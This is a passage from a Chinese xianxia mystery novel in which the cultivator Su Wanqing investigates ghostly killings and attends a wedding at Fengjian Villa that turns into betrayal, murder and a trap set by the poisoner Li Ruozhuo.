当一拿出来的时候一股尸臭的味道涌来,刺鼻得紧,闻者一阵眩晕。苏晚清接了过来,拿在鼻前嗅了一下,这味道莫名地有点熟悉,问道:“这是什么?”
小蝶摇头,“不知道,她逼我喝下这东西后,我的身体就不受控制了,眼前一片模糊。”
叶远山问道:“你如何能断定那人就是已故的添香?”
她们相识的时间少说也有十年之久,小蝶当时记得很清楚,添香手臂上面的鸳鸯刺青,女子不可随意刺青,但添香依旧与朱文聪纹下此等刺青,而且纹的还是最明显的手腕,普天之下任哪个女子敢如此。
除了添香。
“苏姑娘,我说了这些会不会招来杀身之祸?我是不想死,我也不想夜夜受折磨,我只是爱财,没想过害人啊。我不该死,官府能否派些人来保护?不对,添香是鬼,派人没用。”
提供了线索,官府自会赏赐。
小蝶将目光移在苏晚清的身上,希望也在此刻油然而生,紧紧拉着她的手,“苏姑娘。”
最后,苏晚清交给了其灵符,可不受妖邪侵扰,叶远山在小蝶临走之际问出了一个关键的问题:“本官问你,她有没有提过之后要去哪里?”
小蝶顿了半刻,努力回想,脑
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海里的片段不断重组再打碎,在临界处组成有关添香的画面,她惊喜地回道:“有!去西方极乐世界,一直往西走。”
苏晚清:“……”
叶远山:“……”胡闹。
罢了,让小蝶回罢。
这两日的调查得出的线索不足以拼出事情的起因,大致情况就如如今所见那般,有可能是添香寻仇,也有可能是柳宿眠在暗中捣鬼。
叶远山回了座位,细细分析这几日发生的事情,起因为杨焕在家中宣淫被苏晚清撞到,中途舞女小蝶害怕逃走,天亮之后杨焕的尸体就暴尸荒野,柳宿眠前来报案。
是有人将杨焕引了出去,随后便是在如意楼发生的事情。
等到如意楼,叶远山忽然拍案而起,道:“苏姑娘,我们前日遇到的那对夫妻有些可疑,若是没有遇到他们,我们应当早就抵达如意楼,会不会便有机会捉住这个幕后之人?”
他的想法与她不谋而合,她正要与他汇报此事,走过来几步,道:“我回去查过,他们被杀害,我与那位女子交过手只是他们拦着,让她给逃走了。眼下他们就在清水居,大人可将他们带来。”
“说说姑娘的见解。”叶远山觉得有些口干舌燥,便沏了两杯茶,一杯递给她。
她没接,退了回去,缓缓道:“此刻的添香非添香,而是奉剑山庄任净雪。叶大人,她便交给我吧。”
叶远山没有明白,但还是点头答应了她的请求,在那对夫妻抵达官府三日之后,妇人与孩子忽然暴毙身亡,死因为墨嵬花毒,疯癫而死。
而那壮汉在几日后被人从官府掳走,隔日便死在了如意楼。
*
一连过了几日,奉剑山庄的喜事也到了,是时候去会会他了。
去吃喜酒,还是得好好打扮一番。
铜镜前摆满了各种各样的胭脂,她挑了好久,终将目光落在正中的盒子上,快然拿下。
涂上之后,她抿了抿唇,盯着镜中的自己,一时之间竟看呆了,她并非是觉得自己美得天上有地上无,只是觉得已经许久未续妆,快要忘却了上妆的自己是何模样。
她轻轻拂过眼角下的泪痣,顷刻过后不再孤芳自赏,赶紧挑了件浅绿色的衣裳,上面绣着雅致的兰花细纹,略显柔美。
肩上披着白色的轻纱,青丝绕在身后,听风召唤,与轻纱慢飞,好似仙人坠落人间。
带上备好的厚礼。
走到门外,阮长言已经在那等候多时,殷切地望着她走过来,小跑来到她的旁边问道:“师父师父,我也想去,带我去带我去。”
昨夜他询问过,但苏晚清没同意,她这次并未直接拒绝他,只是摸了摸腹,只道自己有些饥饿。
临走之前,阮长言忽然道出自己的疑问:“师父,我还未问过你,你后颈的伤是怎么来的呀?”
苏晚清愣了半刻,不在意地道:“一点小伤,已无大碍。去拿些吃的给我罢。”
话一说,阮长言的身影就到了对面的厨房,乐呵地问她需要什么,结果没等他问,苏晚清便踏上自己的灵剑“咻”的一下没了踪影。
骗子,师父。
“师父!你不带我就算了,给我带糖人回来!”
阮长言气得在原地跺脚,朝天大喊,企图苏晚清能回头看看这个被远远落在后面的弟子。
“师父也真是的。”
回应的只有一片沉默,顿了会,阮长言叹了口气,自觉地回房看书、练剑。
御剑飞行是最自在的行路,她能见广阔山河,能见湖泊流水,亦能见万家屹立繁华闹市,路过每一处地方时剑气倾泻,现于苍穹,散于尘埃。
大约过了一个时辰,她操控憾山落下了些,定眼瞧去底下张灯结彩的大片土地,爆竹声响彻云霄,连在上空的她也觉震得耳朵不休。
好一阵热闹。
山庄堆满了人,她寻了个比较安静的地方降落,整理了下比较乱的衣衫,提着包装得十分精致的礼物前去,那山庄里的管事一见是她蹙起眉头,一脸不悦。
不过,来者是客,她的礼物还是被带了下去。今日来了好些人,除了天音门几乎所有门派接踵而至。
她看了好几处地方,终在某处定格,师门竟派了崔瑶一人前来,她们貌似都看到了对方,未等她作出反应,崔瑶便扭过头去,假装未见她般。
……里面传来一声笑得很爽朗的男声,见其人踏门而出,赤色婚服格外显眼,那人眉宇轩昂,举手投足间还算得当。
想必他便是季玉轩了。
这人貌似识得她,连连招呼她进去,期间小语落至耳旁:“苏姑娘,我家恩师已等候多时,快随我入内。”
28. 虚妄村(2)
季玉轩是百阅派的嫡传弟子,本该继任掌门之位,奈何痴迷奉剑山庄庄主任净雪,不顾师父反对,偏要以一人入赘奉剑山庄。
奉剑山庄如今由任净雪做主,前任庄主与其夫人在去年离奇死亡,听说是为当地百姓驱除妖邪时不慎被暗害致死,又有人说是季玉轩心怀不满害死的,更有人说是任净雪害死的。
只因任净雪是奉剑山庄庄主走失多年的女儿。
众说纷纭,都有各自的说法,但她最不信的是第四种说法——前庄主夫人旧疾复发,因病亡故,庄主爱妻心切,悲动欲绝,故而追随妻去。
一旁走过许多来此的宾客,有人说:“听说了吗?这几日很多都离奇失踪了,咱们吃了喜酒就赶紧回去,不安全。”
听者不以为然,只道:“咱们都是修仙的,和那些软弱的百姓哪能一样?你就是草木皆兵,怕什么?”
这里近来有百姓接连失踪的说法她一路走开都能听到有不少的人氏商榷,因只在近日,未传播出去,大致只有来此之人才能知晓一二。
她默默想着,不知不觉地停在了奉剑山庄一处僻静的小院,抬眼瞧了瞧屹立门外的路引,上面写着“闲人勿进,若违此示,后果自负”这几个工整的字体。
如此,她更好奇里面会是什么。
苏晚清刚刚迈出一步,身后就传来一声掺杂着几分担忧的声音,但听上去更多的是不耐:“苏晚清,你就这么不懂礼数?擅闯他人府邸,传出去丢了我们清风明月的脸。”
她微微转身,一时觉得崔瑶又找到了什么讥讽她的理由,不过也无事,如此她淡定地道:“崔瑶,我如今已非清风明月中人,礼数是做给人看的,这里除你我之外,无人在此。”
崔瑶一时吃了瘪,翻了几个白眼,轻哼道:“是,你苏晚清现在已经不是清风明月派的弟子了,你现在可是鼎鼎大名的清水居主人,你当年有多么狼狈,我看你是忘干净了。”
见苏晚清过得如此好,崔瑶心中多少有点不舒服,在清风明月山时苏晚清便备受瞩目,师尊喜欢她,燕师兄喜欢她,长老们喜欢她,就连她们明明下山一起为百姓除妖,百姓也还是喜欢她。
凭什么?
凭什么都喜欢苏晚清?
崔瑶就是讨厌她,见不得她过得舒坦、肆意潇洒,就是要说话呛她,让她不自在、不舒服。
她叹了一口气,匆匆瞧了眼崔瑶,并没有受到任何影响,平静地道:“以前过得拮据不代表现在依旧,崔师妹,人都是要向前看的。既然我们话不投机半句多,你若喜欢在此观赏,我便先告辞。”
也不给崔瑶说话的机会,苏晚清从其身旁掠过,走得极快,只消一会儿便没了踪影,独留崔瑶一人在原地生着闷气。
这个崔师妹总是将心思放在了她的身上,处处与她比较,离了山也不忘看她笑话。
回了前堂,宾客云集,皆是笑颜满脸,处处欣喜。锣鼓喧天、鞭炮齐鸣,欢闹的气氛化为清风席卷而来,洋溢在整个奉剑山庄。
百阅派虽是小派,但与各派的关系尚可,凭着这段关系,其他人怎么说也得来贺个礼做个样子。
屋里装不下太多人,大部分人都在屋外观望,自觉地让开一条道。她看了有一会儿,依旧没有见到季玉轩的师父季九,照理说季九应该坐在高堂等待小辈前来才对。
她的目光扫过屋内所有人,有熟悉的、陌生的面孔——燕寒舟怎么也在此?她的视线与燕寒舟的视线交错了半晌,见那人嘴唇翕动,便移走了目光,不再四处游走。
“各位远道而来,真是有失远迎,我代小徒谢过各位。”
只见一个着玄色道袍、青丝斑白的老者踏门而入,走得急,踉跄了几下,幸得旁边的人搀扶了下才不至于摔在地上,他三步并作两步,径直坐在高堂,笑意连连地看着堂下的人。
不知为何,苏晚清只觉得季九此人眼神扫过她的时候隐隐透露出几分凶狠之意,乍看一眼,亦如和蔼可亲的年长前辈。
“新人到——”
门外鞭炮一齐响彻云霄,无数鲜花从天降落,轻轻慢慢地挥洒在那对新人的身上,苍穹玄鸟自成一列,勾勒出爱之形状,仿佛是神明对他们最好的祝福。
季玉轩牵着他的新娘,温柔地瞥眼瞧去,默默地拉紧了红绫,不愿放松一点,他小声而期待地道:“雪儿,我们会一直在一起。”
他的语气有紧张,但更多的是期待,今夜过后他们会是真正的夫妻,而奉剑山庄也会成为他季玉轩的家产。
残阳似血席卷侵染天边云层,渐渐拉长了他们的影子,从黎明至黄昏,犹如一瞬间,又若四季漫长。
任净雪听到季玉轩的话语,只是羞涩地笑了笑,回应了他:“郎君,只要你不弃,雪儿永远都会和你在一起。”
你死了,我也和你在一起。
两人各怀鬼胎地走入屋里,拜了天地、拜了高堂,正欲夫妻对拜之时屋外传来动静,顷刻一道肆意的嗓音袭入众人的耳中,他们一齐看了过去。
“百阅派将这仙盟中的人都请了遍,独独不请我天魔宗,是否不将我们放在眼里?”
苏晚清一下子就听出了温衡的声音,抬眼一看,那人慵懒地从屋外走进来,身后跟着一众弟子,气势汹汹地让人觉得他仿佛不是来贺礼。
温衡一袭月白衣袍,衣襟上云纹错落,显得有几分温柔娴雅,扎着高马尾。那张俊朗的脸轮廓格外精致,尤其那双桃花眼最是迷人,仿佛缀满了令人深陷的情愫。
他斜了在座的人一眼,自顾走到任净雪与季玉轩的中央,假装不轻易间看了眼苏晚清,随即看向季九。
众人噤若寒蝉,皆知温衡何其猖狂、无法无天,先前是看上了秋山派的镇派法宝,现在来搅局,不知又是看上了什么宝物,无人出声。
想到此处,他们不约而同地寻秋山派的影子,定格在秋无意的身上,心中莫名多了一分心疼。
季九掌门出来打了圆场,道:“哎,温公子这么说可就太见外了。原是老夫觉得百阅派只是个小派,哪敢劳烦天魔宗,这不就给耽搁了。来来来,老夫自罚三杯,请温公子上座。”说着,季九示意下人端来喜酒,一杯给他,一杯自己饮了下去,赔着笑。
“好说,老掌门亲自赔罪,作为晚辈确实应该谅解。不过,我近来不能饮酒,劳烦老掌门代小辈饮了。”温衡接过酒杯,倒在了季九已空的杯子,嘴角撇了一下,示意其喝下。
季玉轩一听急了,指着温衡道:“姓温的,你别欺人太甚!你!”话未说完,便传来道凌厉的目光,季九暗暗摇头,示意不要轻举妄动。
季九掌门当即就一饮而尽,倒扣酒杯在案上,请他入座,那副笑颜之下的脸上掩藏抹杀之意,心间亦是暗暗地道:“好你个温衡竖子,竟敢羞辱我百阅派,老夫定要你死在奉剑山庄,以解我心头之恨!”
“请新妇回房——”
媒人搀扶着新娘远去,新郎刚想去安慰师父,没等出脚就被一群人拉到了门外敬酒,这里也乱作了一团,众人纷纷散去,寻个桌儿坐下唠嗑,等待酒菜上齐便可开宴。
苏晚清环顾了一周,也没有发现李若酌的身影,难不成李若酌此刻不出现是想给所有人下毒,待人都昏迷后再出来一一杀尽?
她跟着这里的侍女来到了酒房,三十枚银针从她手中袭向酒坛,银针并无异样,莫非是限制灵力的灵药,她抬手欲试。
灵力气息并未落在酒坛便被击落,她顺着来源,看到了正缓缓向她走来的燕寒舟,便问道:“你为何阻我?”
燕寒舟施法将酒坛空出的缝隙盖好,对于她的质问并不在意,冷淡地道:“我刚才查过,此酒并无异样。不必再试。”
她还是有些不放心,担忧地道:“李若酌是万毒之主,你真的有把握?”
“苏晚清,你为何还是要执迷不悟?李若酌这个人在一年前就已经死了。”燕寒舟寒声道,他曾调查过,李若酌死在了一个不知名的山村,他找到时尸体都已经开始腐烂,也曾告知苏晚清这人已死,但她不信,偏要自己寻找。
她看着燕寒舟,眼底的失落逐渐显露出来,道:“我今日来就是来杀他的,燕寒舟,你可以不信我。但你不能赌,让我试试。”
燕寒舟没有阻止她,任她尝试,一番下来,酒坛无毒亦无有损灵力之物,应当无事。
过后,燕寒舟貌似觉得自己的话有些急,见她要离开,连忙叫住欲离开的她,他解释:“师妹,我并非不信你。此事是我当时确认的,我也是担心你。”
她笑了笑,拂去那些不起眼的情绪,淡然地道:“无妨,李若酌曾在清平出现,李淮颂死于他手,他约我来此定不会善罢甘休。燕寒舟,你记得小心。”
燕寒舟“嗯”了一声,又关心起
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她的身体,询问道:“下山之前,师尊要我问你,他给你的灵药服下了吗?今日是初一,你可有不舒服的地方?”
灵药给了山阳鬼城的妇人,结果那妇人最后也殒命了,这算不算无益之果?不算罢,她不后悔,思了片刻,苏晚清道:“服了,我无恙。师兄,我一到此你就来了,你莫不是一直跟着我?”
“你想多了,自作多情。”燕寒舟前脚离开这里苏晚清后脚就抵达了此处,为了以防万一,他还是决定回来再查一遍,刚好就遇到了苏晚清。
“哈,算是吧。”
她本想去查别处,但燕寒舟都查过了,皆无可有的地方,最后来了负责宾客的仆从,连将他们请去酒席饮宴。
桌上的佳肴琳琅满目,各种各样的山珍海味泛着诱人的香气,院里的花香沁人心脾与这香气相得益彰,是那闻起来舒爽的馥郁香。
她未动桌上饭菜,眼睛不经意间瞥到一个熟悉的身影,她心生疑惑,连忙放下碗筷,跟了上去。
跟到一处安静的小院,那是奉剑山庄专门用来接待今晚在此歇息的宾客,院里用来芬芳的花香,与刚才的香气一致,但此处明显更为浓郁,她挥了挥,未推开关上的门,上方忽有一阵小风吹来,她侧身一躲,接住了那颗石子。
躺在树上的男子翻身而下,一掌袭向她的脸,苏晚清连连往后退去,提手接住他的掌,将其击了回去,之后再没有动作,怔了一会儿。
男子快速地扫了她一眼,眼中多了几分兴趣,尾音上扬了几分,“苏晚清,你就这么喜欢与我比试吗?”
他想多了。
“你来这里做什么?”她没有回答他的问题,只是问出了她的疑问。
天魔宗根本看不上这样一个小门小派,何须让温衡一个少主前来贺礼,说是真心交好也未免太晚,温衡一定在打什么坏主意。
温衡自在地靠在树上,寒风吹进他那双眼睛,他似有几分不耐,揉了揉眼睛,之后打量着苏晚清,戏谑地道:“我来杀人,杀所有人。”
看样子温衡好像在等,等某件事发生一般,一时半会也出不了什么事情。
既然如此,她打算再去今日那间屋子探探,没成想,她刚踏出一步,温衡就挡在了她的面前,拦了她的去路。
“既然来了,就别走了。”他墨色的眼眸暗藏狡黠,见她后退一步,紧跟了上去。
她差点撞到这个人,苏晚清与他对视,一时不知他是何意,忍不住询问道:“怎么,还想杀我?”
温衡施法将院中的椅子与石桌挪到了他们的身旁,自己找了一个适合的位置坐了下来,抬手示意她也坐,“我退了钱,暂时不会杀你。你陪我解个闷,我可以考虑要不要放过你。”
月色朦胧如画,镌刻出的美轻洒入尘,掀起层层波澜,它与这风纠缠不清,不断地自远方赶来,逐渐轻抚了所有,悄然离去。
“温衡,你真的很自以为是。总以为事事都能如你所愿,你当真没有束手无策的事吗?”话虽如此,苏晚清还是坐在了他的旁边,桌上的茶水在此刻显得很多余,她将其移了回去。
说的真好,温衡道:“总比一个不自量力的女子要好。”他意有所指,她了然于心。
谈心,那便谈,她问道:“既然你找我谈心,那就说些实际点的东西,你费尽心机地夺走箜篌引与聚魂铃,到底想做什么?”
“你这是谈心?我看是谈命。”温衡忍不住鄙夷不屑,随后道,“杀人、摄魂、夺命。这够不够清楚?我再问你一次,那日在幻境的玉佩当真是司马觉给你的?”
她以为他会问当日给谢怀案的释天诀是否是真,没想到竟会是这个,她下意识地摸了下腰间的玉佩,迟疑了好一会儿,才道:“当然是,你若喜欢,我也不会给你。”
良久,男子似有几分愤愤,眼划失落之意,嘴上的话听起来依旧如从前般:“你的记性真是差劲,忘语花能驱除你的记忆,你连对李若酌的恨都想起,唯独一些无关紧要的事情想不起来。”
“既不重要,想起来也是徒增烦恼。”
两人没说一会儿话,远处便传来季玉轩撕心裂肺的声音,他们相视一眼将东西归于原位便一起前往声音的源头查看。
结果,待他们抵达之时,身着新郎服的季玉轩一见温衡就箭步上前,揪着温衡的衣领子,指着他道:“是他,是他掳走了雪儿。”
29. 忆梦铃(3)
赶来的众人面面相觑。
温衡被人扯着领子十分不悦,他挣开季玉轩紧抓着的手,一脸无辜地眨眨眼,略有意味的目光落在苏晚清的身上,对众人说道:“我一直都与苏姑娘在一起,你的妻子失踪可跟我没有什么关系。”
赶来的人一齐看向苏晚清,一时之间各种各样的猜测在内心集聚,大部分是怀疑这两人的关系。
燕寒舟与崔瑶赶到此处,好奇心不觉在心中蔓延,这两人何时这么相熟了?燕寒舟的眼神更像是质问,等着苏晚清的回答。
“不错,他刚才与我在一起。”她偏头去看温衡,将他那意料之中的笑收揽于眼底,转而又道,“不过只有一炷香的时间,温公子其他时间做了何事我可不知。”
这浑水她可不趟。
谁知在她转身那刻,温衡他的嘴角勾起一丝笑容,瞥了一眼在场的人,将她腰间的玉佩拿了过来,对着她道:“刚才还与我浓情蜜意,定情信物都有了,我就这么见不得人吗,苏晚清?”
他的语气像被抛弃在闺房的新妇,而她就像负心人般无情无心,他在控诉她。
苏晚清:“……”这人有疾吧?他不尴尬吗?
她忍不住睨了他一眼,道:“温衡,你这又是哪出戏?”
他拿出与她一模一样的玉佩,一道挂在了众人面前,他的眼神里全是算计,道:“看不出来吗?”
她震惊地看着那对一模一样的玉佩,脑海里涌现温衡入宫行刺司马觉的画面,有几分迟疑地道:“为了陷害我,你真是无所不用其极。”
人群中的秋山派掌门秋无意冷笑一声,从里面挤了出来,指着两人骂道:“就说这妖女与这竖子早有勾结,当日他杀上秋山就是为了救这个妖女!”
此言一出,遍地哄堂,纷纷在讨论两人的关系。
季玉轩:“……”
“秋掌门,慎言。”燕寒舟清冷的声音悄无声息地传来,落在秋无意的耳中。
秋无意不以为然,反问道:“燕师侄,老夫看你也不是拎不清的人,怎么现在反倒护起这个叛徒来了?”
姗姗来迟的崔瑶也加入了这场争辩,嫌事情闹得不够大,添了一把醋,道:“没错,在草木村他们就开始眉来眼去、郎情妾意的。我可以作证。”
崔瑶有一种预感那时在草木村跟着苏晚清的弟子就是温衡,不管如何,一定是他!
苏晚清本人:“……”
既然如此,她便顺温衡的意,向他走了几步,目光却是紧紧盯着温衡,她道:“无论真假,他应当没有机会下手。任姑娘应该是在新房,怎会失踪,而季公子又如何能断定是他掳走了任姑娘?”
终于把话题扯回了正题上,苏晚清目光定在温衡手上拿着的两枚玉佩,思绪如潮,有夺之意,怎料他早有预料,收在了怀中。
燕寒舟若有所思地看了一眼苏晚清,转头对着季玉轩道:“既是在房中失踪,为何不去房中寻蛛丝马迹?如何就断定是他所为?”
部分前去新房调查的人赶来汇合,他们在现场发现了温衡今日带来的厚礼,上面还残留着独有的灵力气息,经过试探,归属于温衡。
温衡毫不在意,睥睨了一圈人,风轻云淡地道:“随意就能伪造的东西,你们真是一点脑子都不长,我要杀要掳,你们也拦不住。”
秋无意不管这么多,当即就打算动手,“你们都是一伙的,你们不要听他狡辩,随老夫一同收了他!”
众人纷纷汇聚于此,个个都有驱敌之心,欲拔剑相向,可能是饮了酒的缘故,他们面色潮红,总觉很吃力。
“啊!”山庄的侍女从那边跑来,摔在地上,嘴里喊着,“那边,那边,小姐的尸体从地上钻出来了!”
什么?
相较于其他人脸上的震惊,季玉轩更为明显,甚至他的手是颤抖的,眼神霎时飘忽不定,几乎是吼出声:“你说什么?说清楚一点。”
侍女被拽得生疼,不敢挣扎,惊魂未定,想起刚才的画面,更是害怕,支支吾吾地道:“就在关押丑姑的房里,小姐从土里冒出来,掐死了丑姑。”
他们连连跟上去查看,抵达之时并无任何异样,黑漆漆的,唯有风声呼啸而过。季玉轩走在前面,一脚踹开了门。
门咿呀咿呀地响,忽然,似有什么东西从上面翻了下来,正对着季玉轩的脸——这触感如女子的肌肤嫩滑,条条缕缕之物刮在季玉轩的脸上痒痒的,待他一看,竟是双眼镂空、七窍流血的女子,温热的鲜血滴了下来,那女子忽然冲他呲牙咧嘴地笑。
“嘿嘿嘿。”
“啊啊啊!鬼啊!”季玉轩吓得连连倒退,靠在燕寒舟的身上,害怕地不敢再看一眼。
除了这个死去的女子,里面空无一物,他们把其放下,仔仔细细查看了一番,发觉此女子气绝身亡,生前定遭受了很大的折磨,被挖去了双眼,直到现在鲜血仍在流淌。
不知是谁踩到了何样东西,有个什么东西碎裂的声音瞬间袭来,紧接着又是一阵一阵的类似这种声音响起。
“温衡,你想做什么?”跟在温衡后面的苏晚清欲拿回玉佩,反被阻止,弹了回来,忍不住问道。
温衡转头看她,眼眸里满是诡谲,仿佛如今发生的一切都在他的掌握之中般,道:“苏晚清,玉佩就放在我这里,好戏已经开始了,好好看戏。”
话音刚落,秋无意背后就迎来重重一击,鲜血从他的口中流出,不可置信地往后转去,竟是那季玉轩动的手。
只见其人一脸坏笑,后退了三步,摊了摊手,算准了时间道:“师父!他们都站在了驱灵阵,可以动手了。”
众人脚下踏足之地在瞬间下陷,未等反应过来便快速地落入地底,待人都落了地下,机关自动地合了起来,与寻常的路无异。
“一群蠢货,都死去吧。”季玉轩朝地上吐了口水,心满意足地回头,想去看看藏在奉剑山庄里面的宝贝,可在转身那刻,他的身体忽然被钝器刺入,一阵疼痛侵袭了脑海,没等反应过来,又是一刀刺在了他的心脏,这一次是致命的,就算是神医也回天乏术。
女子脸上沾着血,正低低地嗤笑着,手里握着尖锐的刀,继而蹲下在他的面前晃了晃这刀,随即毫不犹豫地刺在了他的眼睛,笑道:“季郎,你怎么能这么狠心,竟然害我?我说过,你要是敢生二心,我立刻取你性命,现在你就以死谢罪。忘了告诉你,你的师父,可不是你真正的师父哦~”
“啊啊啊啊啊!你,任净雪,你好狠心。你,你为什么没死!”
原来刚才丑姑是任净雪做的手脚,季玉轩还以为是师父,以为是师父故意要吓唬那些蠢猪。
任净雪拍了拍季玉轩的脸,她用的明明还是之前相处时温柔的嗓音,可在此时听来却是充满了诡异,“还不是你太贪心了,要娶我,又图谋我的家产,居然还让丑姑端来毒药害我,你这负心汉就该凌迟处死。”
季玉轩已经顾不上尊严,跪在地上求她,求她救治自己:“雪儿,一切都是师父的主意。师父说只有都变成自己的才是最长久的,是他,是他撺掇我的。我是真心爱你的,雪儿,你相信我,救救我。”
像季玉轩这样个男子的话最不可信,满口甜言蜜语,实则是糖衣炮弹,是掺了毒药的蜜饯,今日对你好是因为你有利用价值,等哪天没了利用价值就能一脚踹飞,甚至以付出性命为代价。
“是吗?但是我不想救你。再告诉你哦,你的师父早就死了,现在的季九是我的恩公、李若酌。”
任净雪起身俯视这个跪在地上的男子,心里十分畅快,看清一个人竟是如此容易,她只是稍稍使点手段,季玉轩破绽就露了出来。
见任净雪要走,季玉轩连忙拉住她的衣裙,死死地抱着她的腿,喊道:“任净雪,你联合妖邪戕害仙派,你不会有好下场的,若是你救我,我以百阅派的名义助你脱困,一切都是温衡做的!救我啊,雪儿,我是你的夫君,救我。”
“为什么要救你?你与朱文聪、杨焕都是一样的,都该死。朱文聪背信弃义,杨焕贪生怕死,而你更是十恶不赦,仗着自己是修仙弟子便处处欺辱那些手无寸铁的女子,要不是恩公,我还蒙在鼓里。
念在旧情上,我本来不想杀你,可是你要杀我,我已无不杀你的理由……所以,你还是死吧。”
男子在痛苦中死去,双眼渗出鲜血,流了一地,女子将刀往旁边一丢,从腰间拿出化骨散,洒在了季玉轩的身上,亲眼看着那具尸体化为枯骨,而她一掌击散,任其化为云烟,彻底灰飞烟灭。
“真正的季玉轩早就死了。你也下去陪他吧。”
下辈子,记得做个好人。
*
奉剑山庄底下竟然藏着暗道,被丢下了
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来的人顺着密道走了出去,不是豁然开朗,不是重见光明——眼前甚至不能说是萧条,遍地白骨,有几处已经垒成了山,时不时传来“咔嚓”的踩声。
忽然起了雾,以极快的速度蔓延开来。这里登时雾霭沉沉,一眼望不到边,苍茫云海间,不见来时路与归去处。
“这这是何地?温衡,你又想做什么?!”几派来使将矛头移到了温衡的身上,觉得肯定是他在捣鬼,正欲结阵除妖孽时发觉自身灵力竟无法运转,登时慌了神。
温衡也随他们一道运行灵力,发觉自己也用不了灵力,他嘴角一弯,两手一摊,与他们共勉道:“我也用不了,这怎么能是我做的?你得问苏姑娘、燕少侠才对。”
事实证明,这里除了苏晚清、燕寒舟以及崔瑶三人之外,其余人的灵力都已被封住,短期之内无法使用灵力。
“高下立见,是清风明月派要除了你们。”温衡如此也不忘挑拨离间、煽风点火,他的话起了一点作用,本就对苏晚清有敌意的秋无意怒气冲冲,使了极大的力气才拔出剑对着苏晚清道:“是不是你给我们下了咒?老夫要杀了你这个妖女。”
崔瑶哼了声,道:“秋前辈,你现在连血都止不住,怎么杀啊?你不让她杀你差不多,毕竟我的前师姐杀人无数,连堂堂无尘派都不放在眼里,何况您还还是失了民心的小派。”
当初苏晚清放出的消息的确重创了秋山派的信誉,不论那些人如何解释百姓都只相信眼睛所能看到之物,何况秋山派也无法证明自己未在无涯进行交易。
仙盟为其澄清也不奏效,原本已经压了下来,可不知又从哪冒出来一个无尘派遗留的弟子跑到仙盟勒索敲诈,拿出了两派之间的信物,说出了他们之间的交易以及横沙一事,这个消息被传得沸沸扬扬。
出于诸多的因素加持,秋山派被驱逐出仙盟,不再受其庇护,待风头过了再做件大功德的好事就有理由入盟。
三年过去了,臭名仍存,好歹驱除了些,多多少少也挽回了些民心。
温衡继续附和道:“哎,这位姑娘可是燕少侠的师妹,她说的话肯定假不了。”话音一落,他便被燕寒舟封了言,再听不到他的声音。
燕寒舟微微瞥了一眼两人,扶着秋无意去旁边疗伤,“不会说话就别说话,聒噪。”
“我查过饮食,并无异样。”
“难不成是水?不对啊,我来此以后并未饮水。”他们在那边分析,苏晚清走到一旁探查。
吵吵嚷嚷的声音不断袭来,苏晚清结印释放灵力,心忽起一法,她抬掌落在温衡胸膛前,见他不躲,便问道:“你怎么不躲?”
他眨了一下眼睛,往下瞥了瞥,示意她解咒。没了桎梏,他顿时自在不少,紧接着便开始回答苏晚清的问题:“以我对你的了解,我赌你不会下手。”
苏晚清蹲在地上,抓了一把湿润的土壤,揉了揉又放回原地,不忘道:“你还真是自信,笃定我不会伤你。”
“他们中的毒,你知道吗?”温衡的声音从上方传来。
苏晚清起身,对他道:“大致知道,我记得有一种花名为莫离,闻者能暂失灵力,须过一个时辰才能恢复。我没见过,古籍所言,其花味芳香,与桂花散出的气味相似。”
“那你怎么不早点说?”
苏晚清淡淡地道:“奉剑山庄本就中了许多桂树,一时不察,属实正常。清风明月每年都会赠予弟子避毒之物,灵力还在,也属实正常。”
她留给他这句话便独自走向了雾霭中,温衡望着她的背影,眼底里的心思渐起,顿了半刻,追了上去。
寻了一会儿,终是寻到了苏晚清的身影,只见她散开雾霾,一掌劈向了屹立不倒的墓牌,她随即抬手炸开了后面的坟墓。
“苏晚清,随意开棺,不怕遭天谴吗?”
他的目光先是落在了未裂的枯黄墓碑上面的字——犹然写着“恩公李若酌之墓”,给的墓志铭是“华发早生,功德无量,天意作弄”。
谁知她不在意地道:“死人自然是怕的,活人装神弄鬼有何惧怕的?”棺木无人,只有一些衣物和蠕动得到处都是的爬行动物,黏黏糊糊的,看上去煞是恶心。
她并不打算将其恢复如初,甚至毁去了它的存在,对着四周道:“李若酌,我已按约定来到奉剑山庄,你为何迟迟不出来相见?给我出来!”
30. 忆梦铃(4)
站在苏晚清身旁的温衡靠在一旁枯竭了的树,低低地笑出了声,听在苏晚清的耳中格外刺耳:“苏晚清,我还是头一次见你如此气急败坏的样子。你别说,这幅样子倒也不错,你……”
刀架颈侧,不得不止息。
“说,你是不是知道李若酌在哪?你来这里究竟想做什么?”苏晚清瞬移到他面前,看他的样子一点震惊的神色都没有,看来是早有预料。
“想杀我吗?你尽管动手,我一个字都不会说的。”温衡凑近了锋利的剑口,再近一点就能割伤他的脖子,剑上的寒光映射在他的眼里,顷刻后远去,空出多余的地方。
她收了剑,反手给了他一掌。
“知道又如何,不知道又能如何。”温衡慵懒的声音让她听起来更为烦躁,她只觉眼前此人着实碍眼,她不再与他费口舌之争,转身离开了这地方。
“不说也罢,你的嘴里从来没有真话。”
温衡也跟了上来。
就在她的身后。
她停步,面对他道:“你再跟着我,我就杀了你。”此时,她将他拿走的玉佩夺了回来,连带着他的那一枚一并落在了她的手上。
“苏晚清,我三番两次地放过你,你当真的不知道是何缘故?事到如今,你还不承认你便是苏凝。”温衡的视线一样落在了她的手中,他收起了平日的语气,认真地问她。
两枚玉佩,毫无差别,甚至如出一辙,唯一不同的便是她那枚龙纹玉佩上有一处裂纹,缺了一角。
那些记忆涌入她的脑海,如画卷一一呈现而出,过往种种犹历历在目,但她此刻不想谈及这些琐事,只是道:“何以见得?我是或不是,都不重要。”
“重要,至少我少了一个杀你的理由。”这个女子看上去一点也不在意,甚至就打算放下,但温衡不行,从皇宫那日他亲耳听到司马觉唤她“阿凝”时心中便有了怀疑,怀疑她是否真是苏凝,怀疑她是否为当初那个不顾皇家惩处放他离开的小姑娘。
他们的相识大约起于盛京,那时她还是太师之女,她喜欢进宫跟着司马觉玩耍,常常被接到宫里陪伴司马觉读书,因此遇到了身为奴隶的温衡,她偷偷带他出宫,解除禁锢他的枷锁,趁机放走了他。
而他则将两枚玉佩分了一枚给她,并承诺她——来日若能重逢,定结草衔环,以报她的恩情。
也正是那年,父亲获罪被贬驱逐至山阳,在路途中遇到了万俟亥,她不记得具体哪日,只知道一夜之间,苏府所有人都死在了火海之中。
苏府一众人死在了去往山阳的路上。
温衡顿了下,道:“三年前隐约觉得你熟悉,皇宫那日有所怀疑,直到幻境我才确认是你。”他主动请缨来清风明月山,有一半的原因是想确认苏晚清究竟是不是苏经年之女。
当初凌霄对外宣称苏晚清并非来自盛京,而是山阳,对此他还要再次确认。
